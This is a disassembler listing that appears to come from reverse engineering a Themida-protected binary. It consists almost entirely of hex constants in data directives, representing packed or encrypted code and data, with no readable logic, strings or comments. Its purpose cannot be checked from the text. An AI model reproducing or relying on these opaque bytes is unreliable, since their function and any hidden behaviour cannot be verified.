		dd 4B762E26h, 0FC7306EDh, 129DEC2Eh, 31E97F36h,	0D411FC6Ch
		dd 0EC4B6757h, 2379AA48h, 4B01933Eh, 51E6E76h, 0F7D29652h
		dd 10E827h, 4E090000h, 38751BA3h, 2CDF90F4h, 0EAA00A4Ah
		dd 85895A78h, 6062401h,	87B8665Bh, 8EC38146h, 0E9000068h
		dd 11h,	854E5384h, 3693A573h, 18559FBEh, 0EDEACF08h, 1A04B96Fh
		dd 0FFFC0000h, 0BF0F5E33h, 75C681FEh, 80488BD8h, 0EE81F2C4h
		dd 49868BF3h, 7BD9C081h, 0C6811C25h, 5E9E596Bh,	0FDD858Bh
		dd 33890606h, 1F559589h, 0EB830606h, 6A88BA04h,	0E9816D5Ah
		dd 1, 0FFBD850Fh, 27B6FFFFh, 0E0C08D8Dh, 8960060Bh, 6226DB5h
		dd 0F18D8B06h, 6106062Fh, 28DD8D89h, 6A0606h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 1BDB1BC3h
		dd 4D18800Dh, 0C7FDA8A8h, 6111185h, 584006h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 2C355654h, 559589D8h, 8B06062Ch, 4985C7F2h, 6062Eh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0EC94C350h, 8890Fh, 1530000h
		dd 61B41B5h, 0B5FF5A06h, 606201Dh, 3830Fh, 0B70F0000h
		dd 9195FFDEh, 66060607h, 0BCB0C881h, 22FDBD8Bh,	6A0606h
		dd 1AC995FFh, 0C08B0606h, 85D25DEBh, 0ADE321CFh, 0F5DD1EF6h
		dd 9B9D971Bh, 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh
		dd 298EF69Dh, 3B62F988h, 13A3C627h, 5C8487C6h, 5BBD10CBh
		dd 0A984524h, 0E7F23A96h, 0D503EAEDh, 0CA603BB5h, 3FC5C3B4h
		dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh, 1F36F203h,	2A94970Ch
		dd 0EB8EABBEh, 0E14A1308h, 41000009h, 0BDDE902h, 0DF680000h
		dd 0E9060BE2h, 0FFFB62D9h, 0BE3DB68h, 62CFE906h, 4D68FFFBh
		dd 0E9060BE5h, 0FFFB62C5h, 0BE60268h, 62BBE906h, 0C268FFFBh
		dd 0E9060BE6h, 0FFFB62B1h, 0BE8BD68h, 62A7E906h, 8168FFFBh
		dd 0E9060BE9h, 0FFFB629Dh, 0BEAC068h, 6293E906h, 0C068FFFBh
		dd 0E9060BEBh, 0FFFB6289h, 66DFDDEh, 0EB52EAC5h, 0CC33C3AAh
		dd 0B017AF8Bh, 96FD8D6Fh, 0C5A76876h, 0AF8DCE35h, 876FB017h
		dd 724F90F7h, 13873DAh,	0D898776Ch, 0E005DF4Dh,	23AC441Fh
		dd 0C0ECB4F8h, 0E2482213h, 8C694396h, 0F3B46BF4h, 0E2317D15h
		dd 0F5066D05h, 47DC0147h, 51D9AA75h, 0D77C05EDh, 4DD54896h
		dd 8CE02A4Fh, 0A4558519h, 3DE3h, 0A3992000h, 0D9B7789Dh
		dd 0CE7B841h, 8DF3EB74h, 0C9770C41h, 1B51D97Eh,	99E57D5Ah
		dd 6C119A82h, 4DD57C7Bh, 0AF38D0ABh, 0E26B03DEh, 13C80229h
		dd 4AA2E80Dh, 0A4555D5Bh, 0FBA1h, 0DC83DE00h, 0D3792A47h
		dd 86D2BA4Bh, 9DC25A37h, 33C1B582h, 9328F23Ah, 4BD3525Eh
		dd 6CB81E06h, 7F5B1CD3h, 1A665EE7h, 0D059E9CBh,	18A22FFh
		dd 54BB5330h, 0F78F6C2Dh, 553088ABh, 6D144BD3h,	0D3499BD8h
		dd 9B2B134Bh, 2B131A12h, 1BB390DFh, 3F9673B4h, 0D34949AAh
		dd 0CF351D4Bh, 0F0CE8F46h, 4FED0C58h, 0FD3FD4F9h, 6551D996h
		dd 2EEF167Dh, 66F6DD46h, 0F67FE5DDh, 0A993B2FEh, 63E57A9Fh
		dd 0FB57DA71h, 39C2523Ah, 0FB6DB41h, 6AF70EF4h,	65B15A7Ah
		dd 7FA43416h, 0E71BED64h, 3C889F03h, 12A284C5h,	0D260F17h
		dd 8DC15A4Eh, 98Ah, 0B219A98Ah,	97FE9671h, 78DF6F56h, 5CC35B37h
		dd 42A9391Bh, 7153BC22h, 5B397AE1h, 331B5CC3h, 1EFB3CA3h
		dd 0ADE41F86h, 0D89BDB18h, 6EB18B4Dh, 4FE7C283h, 741F9BC6h
		dd 0B08B7BD9h, 93230B4Ah, 77C6120Ah, 5D9E0595h,	3C81E880h
		dd 789DA399h, 0D97E3DE3h, 34BDA551h, 0D57D5E8Fh, 0A8E2074Dh
		dd 555C6144h, 0CB9BA4h,	83D80000h, 792A47DCh, 0D2BA4BD3h
		dd 6F0F039h, 75C19E02h,	28B14926h, 5CE57557h, 0EB598AA5h
		dd 64253ED3h, 0C9B14BD3h, 0A5D77630h, 6E663659h, 0CBA84BD3h
		dd 704D0E33h, 7D1B73A5h, 8AF02AC3h, 0EFCA0901h,	8AD6CE57h
		dd 5DF5D213h, 3F0933D4h, 0D7B2731Ah, 6C851A3Fh,	0F84BD3A7h
		dd 9FA1C410h, 0C751D978h, 0D56778DFh, 6CB1466Bh, 0D857DB23h
		dd 609F2F17h, 6A62EB83h, 3C1EDF04h, 0E4C687ACh,	87D3CB54h
		dd 5DEDCF10h, 0CB45462h, 0BCF0894Eh, 88Eh, 0B61DAD8Eh
		dd 9B029A75h, 7CE3735Ah, 60C75F3Bh, 46AD3D1Fh, 7557B826h
		dd 5F3D7EE5h, 371F60C7h, 22FF40A7h, 0B1E8238Ah,	0D89AC71Ch
		dd 72B58F4Dh, 90F78769h, 73DA724Fh, 0F48C692Eh,	25BD9A6Bh
		dd 0B98FADBEh, 1B58ED94h, 0CB4BD379h, 0CD6297E3h, 51D97A6Fh
		dd 0A33B16D7h, 33BC221Ah, 48E0BB7Ch, 2C7BC7BFh,	97F844Fh
		dd 0C4AB6779h, 0D9B6F75Eh, 86BF6A0Eh, 0B920D890h, 34D56EF8h
		dd 0B8F24229h, 0A12D02F6h, 0A74CD53Bh, 0D51F4665h, 4EF416BDh
		dd 88180071h, 0EAC807FFh, 4485EC52h, 0A146CF67h, 0C69F844Fh
		dd 8BAD0F7h, 0EB2C932Bh, 29C19D0Eh, 0B942A8A0h,	9F84D414h
		dd 14D58CC6h, 51E1C32Ch, 0E16AD0C8h, 0A2E89DE9h, 69E793Ah
		dd 34FDFC7h, 0D83FD7B4h, 9922BA97h, 0A83D44F8h,	0C69F844Bh
		dd 0F5A3E389h, 0DCE3F246h, 0D4698EF4h, 0DC9582F0h, 0A1B826Ah
		dd 54E90E32h, 0C28BC4D4h, 0C081A68Eh, 68014DE5h, 8B08A1C3h
		dd 0D4953AD2h, 0DCD45DEDh, 2DAFDB90h, 517A5712h, 69B5A564h
		dd 0A8236144h, 4B09B37h, 95D80000h, 4BD3795Ch, 0D389EBFCh
		dd 6D6E674Bh, 31D84BD3h, 0D36D479Ch, 704E0F4Bh,	0F1574FD8h
		dd 6D6D82A5h, 4BF14BD3h, 1CA5351Ch, 499BE24h, 51D96E2Ch
		dd 6AB91B36h, 82ADA533h, 48D16143h, 0DBEFEA50h,	5E541573h
		dd 71C91C5h, 3B1C0000h,	280344ABh, 1E82990h, 0EDC90A71h
		dd 0CBADEE55h, 2AB4D43Bh, 0C7303E5h, 0EE55EDCBh, 0CE35C5ADh
		dd 0B118B08Dh, 49AA3F76h, 1D4DD89Ch, 8C690043h,	72CA6BF4h
		dd 0FB14A9CEh, 6351DF5Ah, 0A8AA147Bh, 6826EF4Dh, 0F7536869h
		dd 586F8419h, 0FF74DD8h, 891E43A9h, 57D25A27h, 0C255573Fh
		dd 0F7259560h, 0AC16BDD8h, 6CE24810h, 885B9E01h, 438FF541h
		dd 0B301824h, 0ABFE0676h, 8F1800EAh, 0D5FA4EEEh, 0A1345040h
		dd 3CFDA490h, 463EC75Fh, 0ADB83E33h, 72BEA68Ch,	8D4E735Bh
		dd 0D8F318B0h, 6405B4F3h, 0E259A59Eh, 312CC4A1h, 929DE707h
		dd 67598D26h, 67000006h, 4E8FF686h, 3374DB73h, 1455BC4Ch
		dd 0F839A038h, 0FF1F8616h, 0BE4E30DFh, 0A0381657h, 8010F839h
		dd 63FBD819h, 0F58AC1FCh, 4DD89FFCh, 994B8E68h,	0E3789DA3h
		dd 51D97A75h, 9C2C0ECFh, 0B8CF1B13h, 0CF9047D0h, 0BF0E5AF2h
		dd 0E8C14AE2h, 8B2300C1h, 0BE563102h, 33570C58h, 9EC37DBFh
		dd 1D6901DDh, 7AE553E8h, 0B65D57DFh, 9DED239Bh,	0C3D65F25h
		dd 47DFF0AEh, 94294E36h, 47DFF05Fh, 52B91F07h, 0DFF0283Dh
		dd 0F04BA847h, 291347DFh, 3853FA1Fh, 0A18A3D6Eh, 0FB1E6A8Ch
		dd 5DD323C2h, 34D9624Ah, 59CB233Ah, 0CB235698h,	5531F259h
		dd 0F03C34BDh, 312CC4A1h, 48041401h, 0A74F831Ch, 0A7000005h
		dd 8ECF36C6h, 73B41BB3h, 5495FC8Ch, 3879E078h, 3F5FC656h
		dd 0FE8E709Fh, 0E0785697h, 0C0503879h, 0A33B1859h, 35CA013Ch
		dd 4DD89F3Ch, 998BCEA8h, 0E3789DA3h, 51DF5AAAh,	0F0C14A32h
		dd 3147B13h, 0B4850E40h, 0F6EB80D7h, 264DD898h,	1A8AF3Fh
		dd 0D898776Ch, 91F7DF4Dh, 0DC9DC42Bh, 18A89001h, 3A1766B2h
		dd 0DFBC7DA2h, 7AC6BE47h, 8D692AE1h, 28746CF5h,	0DB64FCD9h
		dd 4DCFFB22h, 98D011A6h, 9C844DD8h, 5CE5755Dh, 0ECC91864h
		dd 0CFD6ED54h, 2DA45B38h, 1DBh,	51E9C788h, 3184D0C8h, 2A47DC83h
		dd 0BA4BD379h, 218717F9h, 0E986B6D5h, 0E80D730Bh, 0D9A77153h
		dd 7801E951h, 0D55790D3h, 9C34104Dh, 0CA5A4213h, 8C15AD8Bh
		dd 572340D5h, 0CBB34DD5h, 8E4D7DA4h, 17FFC067h,	44863B87h
		dd 0D5FA4EEEh, 0DF894C40h, 87EED657h, 16F86946h, 0C6972086h
		dd 112C51E9h, 3CCF0029h, 1DB59031h, 0CDF46BB7h,	4E9A2A0Ch
		dd 82000D2Fh, 6F2D06E2h, 58E1E05h, 1C41A70Dh, 0D5123587h
		dd 0BC452D5Dh, 0C190D617h, 0DF6F5659h, 0E9E8556h, 0C505AC85h
		dd 0AA6B1016h, 35EA36CEh, 3D0E9715h, 43F0B062h,	2D000000h
		dd 789DA399h, 9E2E10D1h, 0E90A1D15h, 5F4BD379h,	0D379A9CAh
		dd 4E553D4Bh, 0B24A2766h, 0F49C3166h, 4051D97Eh, 0B5333B25h
		dd 0B9050724h, 8C31BAA2h, 4DD5885Bh, 41ABDF04h,	0A4564964h
		dd 0CC9Ah, 8C69D700h, 2EB4CFF4h, 0D957CAD4h, 0DF45DDBBh
		dd 0F1C1E746h, 0DD29F5F0h, 0CE917344h, 972C3FB8h, 4BD3105Ah
		dd 8F89220Ah, 4DD63CF0h, 7E079F7Ch, 845FD0ADh, 0A1F86ECh
		dd 4BD352B2h, 954D7B96h, 0A6F16147h, 962E0B5Ah,	2A1E1E2Fh
		dd 0C19D5E05h, 0FA8A029h, 9F0FD595h, 0DD004C2Ch, 51DCF2DEh
		dd 0B8799E86h, 9EDF46D6h, 0FB312CBCh, 25412E2h,	3AC3569h
		dd 0CBAC0000h, 0B893D43Bh, 9178B920h, 7D599A01h, 5B3D7EE5h
		dd 9A4464CBh, 9C039375h, 7EE57D5Bh, 5EC5553Dh, 41A8401Dh
		dd 393ACF06h, 0AD4DD891h, 876990D3h, 20A9411Eh,	7202E928h
		dd 8764A50Ch, 17A03816h, 7994B91Fh, 37CC571Eh, 4BD3F83Ah
		dd 9829C2AAh, 0CE45914Bh, 1BDC8389h, 261EA73Fh,	0D379DE13h
		dd 5F9E864Bh, 675FE878h, 57EFCC1Bh, 0AF20FDCEh,	0B8B039D1h
		dd 95A6EB52h, 4BD3F950h, 0D3F9EF00h, 0F1B2594Bh, 0FCF47D15h
		dd 0D3F988E9h, 627ECA4Bh, 315AFA7Ah, 0F48C692Ah, 1923428Eh
		dd 58750A2Fh, 0C451DFDCh, 8AB253DCh, 0E0FC91B6h, 4C57D5F8h
		dd 0C713A38Bh, 91CDC8B0h, 6C4E09E2h, 2E89FD3h, 7E80000h
		dd 0F4CF1077h, 0CDB4F55Ch, 0B995D63Dh, 9779BA21h, 5E80A007h
		dd 0D83FCFB1h, 0BA21B997h, 9A019179h, 7DE47C59h, 7D760B42h
		dd 0E94DD890h, 8C69CC0Fh, 0BD9A6BF4h, 4BD4644Ch, 0A0381453h
		dd 7AC2D33Ah, 2E0A1C6h,	9DE9E16Ah, 0AAC1D368h, 917951D9h
		dd 48026308h, 0B6DB4DD5h, 848D1894h, 486FA455h,	0AC000000h
		dd 0B1B36883h, 123204C5h, 0CC78D170h, 0A9F55BD2h, 698EB28Ah
		dd 0D9852CD4h, 95D7851h, 5BB647C8h, 3DCDB4F3h, 5970BCB4h
		dd 8A31E871h, 0D4BCFCF5h, 3480684Dh, 0D4BCDC11h, 2664894Dh
		dd 571CDFC6h, 0D31DA4h,	695A0000h, 9A6BF48Ch, 420328B8h
		dd 0B591D060h, 6738D11Dh, 0B269F28Ah, 0F17A0AF1h, 815EADF9h
		dd 389E2E10h, 7EFCBCD1h, 512E4BD3h, 341152B9h, 0C24BDBC3h
		dd 13A38BCAh, 20E188ADh, 2820A939h, 0D37CDC15h,	54A0884Bh
		dd 1E221ABBh, 9FB864F9h, 3A2251D9h, 0ED7AC2D3h,	0CD26BB12h
		dd 994DD55Fh, 97C24BB1h, 5CCC632Ah, 0BF258BECh,	1BA8059Ah
		dd 0F3B457DAh, 0FEF67F17h, 902F44D9h, 0CFB747DDh, 0A1834469h
		dd 8769AA11h, 86AAFCF7h, 8A234E0Dh, 1A956h, 38C8A900h
		dd 1DB590D1h, 0FE8E75B6h, 0E27A5697h, 0C8583A7Bh, 729D4161h
		dd 58990090h, 3A7BE27Ah, 1A5BC252h, 33EA53Dh, 933A37CCh
		dd 0D0AA4DD8h, 0C487698Dh, 9542A036h, 0F960C63Ch, 0DC43DBB8h
		dd 9DA39997h, 7E3DE378h, 0BDA551D9h, 7D5E8F34h,	0E7CE4DD5h
		dd 8217CE57h, 4DD57D61h, 0F3CE0DF5h, 1047D25Bh,	761B21FAh
		dd 0BA43D3B5h, 0C9C83C2h, 8A3F8B83h, 5BB9EC40h,	0BB43A455h
		dd 80000000h, 4DE5C283h, 3180CCC4h, 6233BC54h, 24CBF080h
		dd 0D379528Fh, 0CE1A024Bh, 7E089035h, 25024BD3h, 8E5268Dh
		dd 0F646E770h, 8A6C2D52h, 2D7971FAh, 9FB963F8h,	392151D9h
		dd 6CA3F914h, 20B9512Fh, 3B197005h, 0BC221AA3h,	54E8F970h
		dd 0D632C7ECh, 2257DA84h, 248DE67Bh, 715947DCh,	1260E25h
		dd 21B1995Ah, 554A098h,	52C9323h, 48D16944h, 0D3B50450h
		dd 11F04843h, 60F94E0Dh, 0A92Ch, 38C8A900h, 1DB590D1h
		dd 0FE8E75B6h, 0E27A5697h, 0C8583A7Bh, 729D4161h, 58990090h
		dd 3A7BE27Ah, 1A5BC252h, 33EA53Dh, 923A37CCh, 0D0AA4DD8h
		dd 0F787698Dh, 0DA724F90h, 8C692E73h, 0BD9A6BF4h, 583F0025h
		dd 0F4057CC8h, 46DB0048h, 51DF5A0Dh, 5728B199h,	3A7BE27Ah
		dd 760EEC5Dh, 68FF5EDh,	1AB28E4Fh, 0C336ABCEh, 7F665DB5h
		dd 0B99566EFh
		dd 0B8DF9821h, 0DB82C992h, 9E3613AFh, 8119F637h, 0B34B27F8h
		dd 507AA12Ah, 0D63DD5B2h, 9720B895h, 1563h, 1FFDBE00h
		dd 6CE83B87h, 0E6FB9037h, 6E4BD379h, 0D26A4786h, 88693386h
		dd 0C19E6FF8h, 0E7CFA029h, 1FFDCE57h, 4B2DFE87h, 7F6132BBh
		dd 0B99566EFh, 0E0C79821h, 1BF6C750h, 53CCFA83h, 0C381E389h
		dd 4, 3304EB83h, 1C31241Ch, 241C3324h, 43EE685Ch, 14890000h
		dd 72F36824h, 1C890000h, 43B26824h, 34890000h, 0E18BBE24h
		dd 0F289060Bh, 1C8B545Eh, 4C48324h, 24048152h, 0ABC4085h
		dd 5208438Fh, 0BC4085BAh, 853290Ah, 2434FF5Ah, 4C4815Bh
		dd 8B000000h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 570FE95Ch, 8F31FFFBh, 0F29C2484h, 0B84FF5A9h, 60BEC8Eh
		dd 0E0FFC503h, 97B18D4h, 34236257h, 17EFB967h, 58DC454Bh
		dd 1D4DD6ECh, 331E3548h, 769ABBAAh, 52808E79h, 7DB62723h
		dd 456FFC3Eh, 4F1DA093h, 24141301h, 553D74Bh, 2A074C76h
		dd 1362B56Eh, 5387DD1Eh, 561DD605h, 319D7A52h, 18977996h
		dd 49A3E9D2h, 160D98F7h, 31E79927h, 38644C02h, 297E30CFh
		dd 4DC62264h, 6F71F411h, 6794C00Ch, 76521CC1h, 4CA1CC0h
		dd 6B6BCEB7h, 3C36E21Ch, 7FC62924h, 0DE8h, 79C69D00h, 7E3A8A17h
		dd 18F2C55Ch, 13E8B82Fh, 7D000000h, 0B090FF10h,	0B237CD36h
		dd 7A7F319Ah, 164C77E8h, 9E96816h, 12000000h, 0A17F9C7h
		dd 0C9583EBh, 0E1805B59h, 31C381DAh, 0F000066h,	0B8CEB7h
		dd 60000000h, 0FFEB70Fh, 8B61F3BFh, 0C781033Ch,	5EF87B78h
		dd 0DE8h, 0A53E5D00h, 634F75B0h, 57ED02CDh, 0DDB22C46h
		dd 0DEC7815Eh, 0E966867Fh, 11h,	94AA25D2h, 95E6DCBFh, 0A5E59D91h
		dd 9C8447D5h, 54EF8152h, 0F64AD47h, 282h, 8954B600h, 8B66033Ch
		dd 0ECC6BAD7h, 0E8835E29h, 28E0F02h, 8A000000h,	664848CAh
		dd 813B82BEh, 0FF9A8CF8h, 90850FFFh, 0FFFFFFFh,	0ABE9CBB7h
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	0A4918332h, 0CBE94F0Bh,	68000012h
		dd 60BF0D5h, 0FA8E60E9h, 0F1EF68FFh, 56E9060Bh,	68FFFA8Eh
		dd 60BF2FAh, 0FA8E4CE9h, 0F44768FFh, 42E9060Bh,	68FFFA8Eh
		dd 60BF4C7h, 0FA8E38E9h, 0F5AA68FFh, 2EE9060Bh,	68FFFA8Eh
		dd 60BF65Ah, 0FA8E24E9h, 0F71368FFh, 1AE9060Bh,	68FFFA8Eh
		dd 60BF7E7h, 0FA8E10E9h, 0F95668FFh, 6E9060Bh, 68FFFA8Eh
		dd 60BFA41h, 0FA8DFCE9h, 0FB6268FFh, 0F2E9060Bh, 68FFFA8Dh
		dd 60BFC7Ah, 0FA8DE8E9h, 0FE3B68FFh, 0DEE9060Bh, 68FFFA8Dh
		dd 60BFF53h, 0FA8DD4E9h, 1897F2FFh, 0B4EF98B6h,	52513452h
		dd 0F5B2D2F0h, 960D7593h, 9A4C3934h, 3B59BBE8h,	0DEFC5E4Dh
		dd 7E9CFEA5h, 0E4399B08h, 6B8F2E63h, 4F6533D0h,	0BFEC9A8Bh
		dd 68434361h, 4F57AC06h, 4BE789BEh, 8CED2BC2h, 0AC467B2Eh
		dd 545333CAh, 0F809EBDh, 34C5C95Eh, 0CB44BEFFh,	0A7CD2E33h
		dd 0FEF21B8Bh, 69AEF441h, 41h, 1015EA5h, 80113B70h, 0A2032BC2h
		dd 95147111h, 0E6B2D837h, 0E90DC057h, 8121949Eh, 8189385Bh
		dd 0F41033CAh, 98CDDEB2h, 33CA8125h, 0BE4066C7h, 0AEF37A32h
		dd 40671EBEh, 0D55D83E2h, 0CDh,	0BFEC9A11h, 0D5E81D2Eh
		dd 172DC47Bh, 0A6C490B6h, 4BA411DCh, 92059399h,	5A8FA031h
		dd 2DC55163h, 36022889h, 0D7356E18h, 7CDECDB9h,	71384DEDh
		dd 4D70284Bh, 0E79F2DC5h, 0BDC6AA06h, 0AB23CDB2h, 0AFF8BC50h
		dd 0FD5FC021h, 9EFCA7DFh, 56E72F44h, 0C2E7CF21h, 9DE5052Bh
		dd 0E943A506h, 0C6FB8C94h, 31D3865Ah, 0C666F758h, 0BEBDE3C0h
		dd 0DD3F641Eh, 0CA2AC3BFh, 152DA546h, 0D76297F8h, 80840559h
		dd 106A8424h, 0C4C50000h, 226583E5h, 82032183h,	0E1A3C123h
		dd 404260C2h, 79060163h, 26881B67h, 0C1238008h,	63C5E0A3h
		dd 624145h, 0C8F52AABh,	2C33D06Bh, 0E89A5216h, 4B3B59BBh
		dd 532FCF60h, 0E4DDF250h, 0BFBD79A7h, 11E10768h, 0FD8929BDh
		dd 473B50AEh, 0AA56D87Eh, 7E486ECFh, 0F0902161h, 15A8DD96h
		dd 0D72DC510h, 0FFE1576h, 12612099h, 568B8AB0h,	2BC313F6h
		dd 8A3D9BFCh, 33CB0C37h, 0AD604662h, 0AEF40543h, 0D324h
		dd 0DF142500h, 33CB17DEh, 0C387AD0Eh, 4B629229h, 82E61BDDh
		dd 0EBB8CE5Ch, 90136F8Dh, 2F197F32h, 3E482DC5h,	0D4740365h
		dd 44D2F8B3h, 0B10B6942h, 23C3545Ch, 201F4560h,	0C30D05EBh
		dd 2C8EEF2Bh, 2188FD9Dh, 743E64C3h, 5186171Fh, 31D36EA0h
		dd 0D5CEB4D4h, 52871877h, 2DD2B26Bh, 2EBF2081h,	0E6D70C1Dh
		dd 62DD2B1h, 0D7C38EA5h, 1AF9E374h, 871C66F4h, 93FF9625h
		dd 369C8C14h, 7EE4CDCFh, 0DC3DC390h, 495A28B6h,	5488B14h
		dd 54F45084h, 0F50h, 6DCFDEABh,	0B6D384Fh, 0AF1198EDh
		dd 52B4F391h, 0F3554E34h, 29590FF8h, 8EFA187Ah,	0E2A1BF21h
		dd 434361C3h, 30B10668h, 0D06CC2FBh, 581C3233h,	1905E89Ah
		dd 75280E66h, 0F41274D5h, 63B71992h, 61BFEC9Ah,	318CC1D2h
		dd 0C32DC47Ch, 0D8AE3C62h, 0F4293ACBh, 2DC47BC9h, 28861D68h
		dd 0E50B6CC9h, 178EF715h, 1EB9BB9h, 34C52685h, 7BCFEE23h
		dd 0E252DC4h, 4367A1F0h, 5B81E297h, 4BEBFC8Bh, 5B86D38h
		dd 0E72DC494h, 54E46086h, 0F96EF8Fh, 0C2C21FE9h, 3802031h
		dd 9C0780A0h, 932D5376h, 0E6472BC2h, 63B10F32h,	2F44E054h
		dd 7FE80E31h, 45A67C7Fh, 0BCCD7FB4h, 1F3F1D4Eh,	7EDC3D68h
		dd 6297CF24h, 254EBD5Bh, 0D6D915D7h, 0D633D0CAh, 7AD8CFB6h
		dd 0C859BA1Bh, 57A58293h, 8D2D3E23h, 0F150AEF5h, 4855813Ch
		dd 0EC12731Fh, 982FC021h, 0B51AA451h, 4B4A7089h, 6ED0DBABh
		dd 386D3650h, 9290BEB9h, 458A2A86h, 0A000000Eh,	3A58BAE9h
		dd 0DEFC5E4Dh, 809E00A7h, 1F3D9F04h, 0E3DE4063h, 653E441Ah
		dd 4A3E503h, 0A4FF84A2h, 49622442h, 0DC1192E7h,	33D06DE1h
		dd 9A39FD13h, 761BFECh,	0E419AAEAh, 2BC24B08h, 0B858E94Ah
		dd 0DDADD3D0h, 95266E83h, 0C8889060h, 0D061C231h, 0EE4C5730h
		dd 0EA9D698Fh, 2DC497D7h, 1E7C2B5Ah, 98635A8Fh,	28892DC4h
		dd 1E6A7A08h, 73D43391h, 0A8FEAC15h, 980AB3E8h,	89EA2DC4h
		dd 52547028h, 0ED9135BBh, 5C32A8h, 296E0000h, 7BDAE318h
		dd 0B91A2DC4h, 3CB4C993h, 0C47BB607h, 74D5362Dh, 35C1AEE3h
		dd 4EAF2BC2h, 3F661DBDh, 71F117AEh, 35931271h, 7156BFD6h
		dd 0D487577Dh
		db 0EBh
byte_5A37E9	db 0C8h, 0CAh, 33h	; DATA XREF: Themida_:005517BCo
		dd 17AD4046h, 4D2588E5h, 0EE2697CCh, 65C633CAh,	0B241A304h
		dd 186F1Bh, 0CCF23A23h,	5E453Eh, 0D5F60h, 89298C00h, 0BA84AAF9h
		dd 97CC5DA5h, 2BCF9529h, 39D96ACBh, 6DFC5E4Dh, 8EECBBCDh
		dd 0B7B092Fh, 8BE842A0h, 0B4E9FA8Bh, 33D06B09h,	65648AEBh
		dd 0DB85EF30h, 0DFA9131h, 0BF970226h, 3D6A1E3Eh, 5AEB4C17h
		dd 4EDFCCBAh, 0AAD0D7AEh, 0E1CABCDAh, 0CCD42983h, 513A063Bh
		dd 57B82BC2h, 0E0AB522h, 26C6227Eh, 0CF8h, 15773653h, 0B31590F7h
		dd 57B9F095h, 0FA5C4B39h, 9BFDA6DCh, 8101D7A0h,	0E6A2C022h
		dd 3A4967C9h, 9BEB096Bh, 0D859AE10h, 0D0701AA3h, 0C4DA33h
		dd 0C47BBC05h, 0BEF3042Dh, 2DC47BFFh, 0A46E94F5h, 0A8FB884Fh
		dd 0F98AEB4Ah, 0CF9663C4h, 5FF0512Bh, 7ADCC7BFh, 0C6C22A5Ch
		dd 0D02A88E9h, 0ADE273B3h, 31CE393Fh, 0FF821E35h, 65A4E0D5h
		dd 536A4933h, 0FF609039h, 68767CAh, 4A40084h, 0C78h, 95F7B6D3h
		dd 33951077h, 0D7397015h, 7ADCCBB9h, 1B7D265Ch,	1815720h
		dd 662240A2h, 0BAC9E749h, 1B6B89EBh, 58D92E90h,	0D06F9A23h
		dd 80445A33h, 2EBFEC9Ah, 8BB1F68Eh, 8C9930BFh, 4A71C1DBh
		dd 96F07EA4h, 0F191AF0Dh, 4D3654B2h, 0E18FF856h, 14B2FBC5h
		dd 0A5757B92h, 0DB7BA8EDh, 229BD0ABh, 0D22DC4B0h, 62EA1071h
		dd 6BAh, 718299Eh, 0C47BEBD2h, 0EBA0012Dh, 2DC47BD2h, 0D19BC122h
		dd 0D2E374BCh, 0C47C209Dh, 4D73D42Dh, 95F1194Eh, 96F72BCFh
		dd 82216505h, 773651F1h, 9FA3BA19h, 0C148D050h,	0A5C393B9h
		dd 9A31C2E1h, 4A3A830Ch, 0DE29465Dh, 0CF824E74h, 33D05AF2h
		dd 15A6EE03h, 19406D04h, 0CA5F45B5h, 16F85277h,	486ECF33h
		dd 0CD55C725h, 77AC0D31h, 8406F996h, 95670763h,	0F000000Bh
		dd 8AA80A99h, 2E4CAEFDh, 0D0EE5057h, 6F8DEFB4h,	332E9013h
		dd 0B5EE944Ah, 54533553h, 0F4AFD4F2h, 99127492h, 2C61E237h
		dd 33D07191h, 9A894D63h, 4361BFECh, 0EC0A6843h,	1EAD0B98h
		dd 0C47BD4E9h, 97B7182Dh, 0ED56B4EFh, 1059673Fh, 0C55C3472h
		dd 0E313E892h, 72F41A07h, 0A8ED917Eh, 5E1E9h, 18292500h
		dd 0C47BDAE3h, 93B91A2Dh, 0C47C5170h, 474FA42Dh, 95C981B6h
		dd 740B2BCFh, 0CB001D0Fh, 29F41A60h, 0EF9737C8h, 523452B4h
		dd 4CA1FB59h, 6E7EB344h, 3031CD70h, 8FD3EA1Fh, 0B8192DD1h
		dd 3166C792h, 84071F5Ah, 0E5A747A3h, 4000000Ah,	0DAF85A49h
		dd 7E9CFEADh, 203EA007h, 0BFDD3F64h, 837EE0C3h,	59EE4FAh
		dd 0A40385A3h, 445F2442h, 0E9C2C4E2h, 7CB13287h, 33D07241h
		dd 9AD99DB3h, 4361BFECh, 0CCDBA943h, 50AE0F6Eh,	0D23B6B09h
		dd 0A8ED791Eh, 54949h, 89298500h, 0E51AABFAh, 2DC47BD8h
		dd 0CB95BB1Ch, 0A8DD6EB6h, 2BCF95DDh, 7D1DAE0Fh, 0A9389A09h
		dd 0EFDC7012h, 7292B863h, 0E2709615h, 657607A4h, 0D0748D30h
		dd 0D8FE5F33h, 53E67D0Ch, 0DAC214D9h, 18E7D60Bh, 0AC0D33D0h
		dd 0BF02254Bh, 3633D018h, 1348D9D9h, 31CDE7D9h,	6687FB1Bh
		dd 0B9A960C6h, 0AA0B6CCAh, 649B075h, 71116D84h,	0A2Ch
		dd 41A30287h, 0E7496423h, 8BEDBCC9h, 2E90176Dh,	0CF317210h
		dd 4D352BD4h, 0B2D6F456h, 0E7593F5h, 6F173597h,	0FC7DD234h
		dd 0D072F6C7h, 1CE0F633h, 0AD0F9229h, 3FAE1640h, 0F1FB8B19h
